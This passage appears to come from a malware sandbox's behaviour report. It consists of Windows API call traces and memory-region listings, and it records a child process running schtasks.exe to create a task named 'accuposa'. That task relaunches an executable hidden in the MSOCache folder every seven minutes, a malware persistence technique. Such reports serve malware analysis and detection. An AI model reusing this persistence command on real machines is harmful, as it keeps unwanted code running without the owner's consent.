returned 1 [0122.648] GetProcessHeap () returned 0x27bec400000 [0122.648] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40ba80) returned 0x20 [0122.649] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40ba80) returned 1 [0122.649] GetProcessHeap () returned 0x27bec400000 [0122.649] GetProcessHeap () returned 0x27bec400000 [0122.649] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40aab0) returned 1 [0122.649] GetProcessHeap () returned 0x27bec400000 [0122.649] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40aab0) returned 0x16 [0122.649] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40aab0) returned 1 [0122.649] GetProcessHeap () returned 0x27bec400000 [0122.649] GetProcessHeap () returned 0x27bec400000 [0122.649] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b5a0) returned 1 [0122.649] GetProcessHeap () returned 0x27bec400000 [0122.649] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b5a0) returned 0x20 [0122.650] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b5a0) returned 1 [0122.650] GetProcessHeap () returned 0x27bec400000 [0122.650] GetProcessHeap () returned 0x27bec400000 [0122.650] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40a990) returned 1 [0122.650] GetProcessHeap () returned 0x27bec400000 [0122.650] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40a990) returned 0x16 [0122.650] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40a990) returned 1 [0122.650] GetProcessHeap () returned 0x27bec400000 [0122.650] GetProcessHeap () returned 0x27bec400000 [0122.650] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b720) returned 1 [0122.650] GetProcessHeap () returned 0x27bec400000 [0122.650] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b720) returned 0x20 [0122.651] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b720) returned 1 [0122.651] GetProcessHeap () returned 0x27bec400000 [0122.651] GetProcessHeap () returned 0x27bec400000 [0122.651] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec425c60) returned 1 [0122.651] GetProcessHeap () returned 0x27bec400000 [0122.651] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec425c60) returned 0x82 [0122.651] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec425c60) returned 1 [0122.651] GetProcessHeap () returned 0x27bec400000 [0122.651] GetProcessHeap () returned 0x27bec400000 [0122.651] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b750) returned 1 [0122.651] GetProcessHeap () returned 0x27bec400000 [0122.651] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b750) returned 0x20 [0122.652] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b750) returned 1 [0122.652] GetProcessHeap () returned 0x27bec400000 [0122.652] GetProcessHeap () returned 0x27bec400000 [0122.652] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40ac30) returned 1 [0122.652] GetProcessHeap () returned 0x27bec400000 [0122.652] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40ac30) returned 0xe [0122.652] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40ac30) returned 1 [0122.652] GetProcessHeap () returned 0x27bec400000 [0122.652] GetProcessHeap () returned 0x27bec400000 [0122.652] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b420) returned 1 [0122.652] GetProcessHeap () returned 0x27bec400000 [0122.652] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b420) returned 0x20 [0122.653] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b420) returned 1 [0122.658] GetProcessHeap () returned 0x27bec400000 [0122.658] GetProcessHeap () returned 0x27bec400000 [0122.658] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec404470) returned 1 [0122.658] GetProcessHeap () returned 0x27bec400000 [0122.658] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec404470) returned 0x18 [0122.658] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec404470) returned 1 [0122.658] GetProcessHeap () returned 0x27bec400000 [0122.658] GetProcessHeap () returned 0x27bec400000 [0122.659] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec4090f0) returned 1 [0122.659] GetProcessHeap () returned 0x27bec400000 [0122.659] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec4090f0) returned 0x20 [0122.659] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec4090f0) returned 1 [0122.659] GetProcessHeap () returned 0x27bec400000 [0122.659] GetProcessHeap () returned 0x27bec400000 [0122.659] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec409000) returned 1 [0122.659] GetProcessHeap () returned 0x27bec400000 [0122.659] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec409000) returned 0x20 [0122.660] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec409000) returned 1 [0122.660] GetProcessHeap () returned 0x27bec400000 [0122.660] GetProcessHeap () returned 0x27bec400000 [0122.660] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec409030) returned 1 [0122.660] GetProcessHeap () returned 0x27bec400000 [0122.660] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec409030) returned 0x20 [0122.661] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec409030) returned 1 [0122.661] GetProcessHeap () returned 0x27bec400000 [0122.661] GetProcessHeap () returned 0x27bec400000 [0122.661] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec408f10) returned 1 [0122.661] GetProcessHeap () returned 0x27bec400000 [0122.661] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec408f10) returned 0x20 [0122.661] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec408f10) returned 1 [0122.661] GetProcessHeap () returned 0x27bec400000 [0122.661] GetProcessHeap () returned 0x27bec400000 [0122.661] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec404030) returned 1 [0122.661] GetProcessHeap () returned 0x27bec400000 [0122.661] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec404030) returned 0x18 [0122.661] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec404030) returned 1 [0122.661] GetProcessHeap () returned 0x27bec400000 [0122.661] GetProcessHeap () returned 0x27bec400000 [0122.661] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec409060) returned 1 [0122.661] GetProcessHeap () returned 0x27bec400000 [0122.661] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec409060) returned 0x20 [0122.662] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec409060) returned 1 [0122.662] GetProcessHeap () returned 0x27bec400000 [0122.662] GetProcessHeap () returned 0x27bec400000 [0122.662] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec408ee0) returned 1 [0122.662] GetProcessHeap () returned 0x27bec400000 [0122.662] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec408ee0) returned 0x20 [0122.662] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec408ee0) returned 1 [0122.662] GetProcessHeap () returned 0x27bec400000 [0122.662] GetProcessHeap () returned 0x27bec400000 [0122.662] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec409150) returned 1 [0122.663] GetProcessHeap () returned 0x27bec400000 [0122.663] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec409150) returned 0x20 [0122.663] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec409150) returned 1 [0122.663] GetProcessHeap () returned 0x27bec400000 [0122.663] GetProcessHeap () returned 0x27bec400000 [0122.663] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec408f40) returned 1 [0122.663] GetProcessHeap () returned 0x27bec400000 [0122.663] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec408f40) returned 0x20 [0122.663] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec408f40) returned 1 [0122.663] GetProcessHeap () returned 0x27bec400000 [0122.664] GetProcessHeap () returned 0x27bec400000 [0122.664] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec4091e0) returned 1 [0122.664] GetProcessHeap () returned 0x27bec400000 [0122.664] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec4091e0) returned 0x20 [0122.664] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec4091e0) returned 1 [0122.664] GetProcessHeap () returned 0x27bec400000 [0122.664] GetProcessHeap () returned 0x27bec400000 [0122.664] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec404050) returned 1 [0122.664] GetProcessHeap () returned 0x27bec400000 [0122.664] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec404050) returned 0x18 [0122.664] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec404050) returned 1 [0122.664] GetProcessHeap () returned 0x27bec400000 [0122.664] GetProcessHeap () returned 0x27bec400000 [0122.664] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec409180) returned 1 [0122.664] GetProcessHeap () returned 0x27bec400000 [0122.664] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec409180) returned 0x20 [0122.665] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec409180) returned 1 [0122.665] GetProcessHeap () returned 0x27bec400000 [0122.665] GetProcessHeap () returned 0x27bec400000 [0122.665] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec404f10) returned 1 [0122.665] GetProcessHeap () returned 0x27bec400000 [0122.665] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec404f10) returned 0x18 [0122.665] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec404f10) returned 1 [0122.665] exit (_Code=0) Thread: id = 167 os_tid = 0x1248 Process: id = "25" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x32c3c000" os_pid = "0x1238" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"accuposa\" /sc MINUTE /mo 7 /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3242 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3243 start_va = 0x589fe60000 end_va = 0x589fedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000589fe60000" filename = "" Region: id = 3244 start_va = 0x58a0000000 end_va = 0x58a01fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000058a0000000" filename = "" Region: id = 3245 start_va = 0x1c1801d0000 end_va = 0x1c1801effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001c1801d0000" filename = "" Region: id = 3246 start_va = 0x1c1801f0000 end_va = 0x1c180204fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001c1801f0000" filename = "" Region: id = 3247 start_va = 0x1c180210000 end_va = 0x1c180213fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001c180210000" filename = "" Region: id = 3248 start_va = 0x1c180220000 end_va = 0x1c180220fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001c180220000" filename = "" Region: id = 3249 start_va = 0x1c180230000 end_va = 0x1c180231fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001c180230000" filename = "" Region: id = 3250 start_va = 0x7df5ff1f0000 end_va = 0x7ff5ff1effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff1f0000" filename = "" Region: id = 3251 start_va = 0x7ff685000000 end_va = 0x7ff685022fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff685000000" filename = "" Region: id = 3252 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3253 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3254 start_va = 0x1c180240000 end_va = 0x1c18042ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001c180240000" filename = "" Region: id = 3255 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3256 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3257 start_va = 0x1c1801d0000 end_va = 0x1c1801dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001c1801d0000" filename = "" Region: id = 3258 start_va = 0x7ff684f00000 end_va = 0x7ff684ffffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684f00000" filename = "" Region: id = 3259 start_va = 0x1c180240000 end_va = 0x1c1802fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3260 start_va = 0x1c180330000 end_va = 0x1c18042ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001c180330000" filename = "" Region: id = 3261 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3262 start_va = 0x589fee0000 end_va = 0x589ff5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000589fee0000" filename = "" Region: id = 3263 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3264 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3265 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3266 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3267 start_va = 0x1c180430000 end_va = 0x1c18058ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001c180430000" filename = "" Region: id = 3268 start_va = 0x1c1801e0000 end_va = 0x1c1801e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001c1801e0000" filename = "" Region: id = 3269 start_va = 0x1c180430000 end_va = 0x1c180572fff monitored = 0 entry_point = 0x1c180458210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3270 start_va = 0x1c180580000 end_va = 0x1c18058ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001c180580000" filename = "" Region: id = 3271 start_va = 0x1c180300000 end_va = 0x1c180306fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001c180300000" filename = "" Region: id = 3272 start_va = 0x1c180310000 end_va = 0x1c180322fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3273 start_va = 0x1c180590000 end_va = 0x1c1808c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3274 start_va = 0x1c180430000 end_va = 0x1c18050cfff monitored = 0 entry_point = 0x1c18048e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3275 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3276 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3277 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3278 start_va = 0x1c180430000 end_va = 0x1c180468fff monitored = 0 entry_point = 0x1c1804312f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3279 start_va = 0x1c1808d0000 end_va = 0x1c180a57fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001c1808d0000" filename = "" Region: id = 3280 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3281 start_va = 0x1c180430000 end_va = 0x1c180430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001c180430000" filename = "" Region: id = 3282 start_va = 0x1c180440000 end_va = 0x1c180440fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001c180440000" filename = "" Region: id = 3283 start_va = 0x1c180a60000 end_va = 0x1c180be0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001c180a60000" filename = "" Region: id = 3284 start_va = 0x1c180bf0000 end_va = 0x1c181feffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001c180bf0000" filename = "" Region: id = 3285 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3286 start_va = 0x1c180450000 end_va = 0x1c180450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001c180450000" filename = "" Region: id = 3287 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3288 start_va = 0x1c180460000 end_va = 0x1c180460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001c180460000" filename = "" Region: id = 3289 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3290 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3291 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 168 os_tid = 0x1354 [0122.327] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0122.327] __set_app_type (_Type=0x1) [0122.327] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0122.327] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0122.328] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0122.328] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0122.328] CsrIdentifyAlertableThread () returned 0x0 [0122.328] GetProcessHeap () returned 0x1c180330000 [0122.328] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c180334a90 [0122.328] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.329] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0122.329] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0122.329] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0122.329] RtlVerifyVersionInfo (VersionInfo=0x589fedf0b0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0122.329] GetProcessHeap () returned 0x1c180330000 [0122.329] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c180334ab0 [0122.329] lstrlenW (lpString="") returned 0 [0122.329] GetProcessHeap () returned 0x1c180330000 [0122.329] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x2) returned 0x1c180334ad0 [0122.329] GetProcessHeap () returned 0x1c180330000 [0122.329] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180334440 [0122.329] GetProcessHeap () returned 0x1c180330000 [0122.329] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c180334470 [0122.329] GetProcessHeap () returned 0x1c180330000 [0122.329] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180334490 [0122.329] GetProcessHeap () returned 0x1c180330000 [0122.329] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c1803344c0 [0122.329] GetProcessHeap () returned 0x1c180330000 [0122.329] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180334030 [0122.330] GetProcessHeap () returned 0x1c180330000 [0122.330] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180334060 [0122.330] GetProcessHeap () returned 0x1c180330000 [0122.330] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c180334090 [0122.330] GetProcessHeap () returned 0x1c180330000 [0122.330] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338c20 [0122.331] GetProcessHeap () returned 0x1c180330000 [0122.331] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338dd0 [0122.331] GetProcessHeap () returned 0x1c180330000 [0122.331] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338b60 [0122.331] GetProcessHeap () returned 0x1c180330000 [0122.331] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338cb0 [0122.331] GetProcessHeap () returned 0x1c180330000 [0122.331] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c1803340b0 [0122.331] GetProcessHeap () returned 0x1c180330000 [0122.331] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338bf0 [0122.331] GetProcessHeap () returned 0x1c180330000 [0122.331] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338d10 [0122.331] GetProcessHeap () returned 0x1c180330000 [0122.331] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338b30 [0122.331] GetProcessHeap () returned 0x1c180330000 [0122.331] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338c50 [0122.331] SetThreadUILanguage (LangId=0x0) returned 0x409 [0122.333] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.333] GetProcessHeap () returned 0x1c180330000 [0122.333] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338a70 [0122.333] GetProcessHeap () returned 0x1c180330000 [0122.333] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338ce0 [0122.333] GetProcessHeap () returned 0x1c180330000 [0122.333] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338d40 [0122.333] GetProcessHeap () returned 0x1c180330000 [0122.333] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338d70 [0122.333] GetProcessHeap () returned 0x1c180330000 [0122.333] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338b90 [0122.333] GetProcessHeap () returned 0x1c180330000 [0122.333] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c180333fb0 [0122.334] _memicmp (_Buf1=0x1c180333fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.334] GetProcessHeap () returned 0x1c180330000 [0122.334] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x208) returned 0x1c180339710 [0122.334] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c180339710, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0122.334] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", 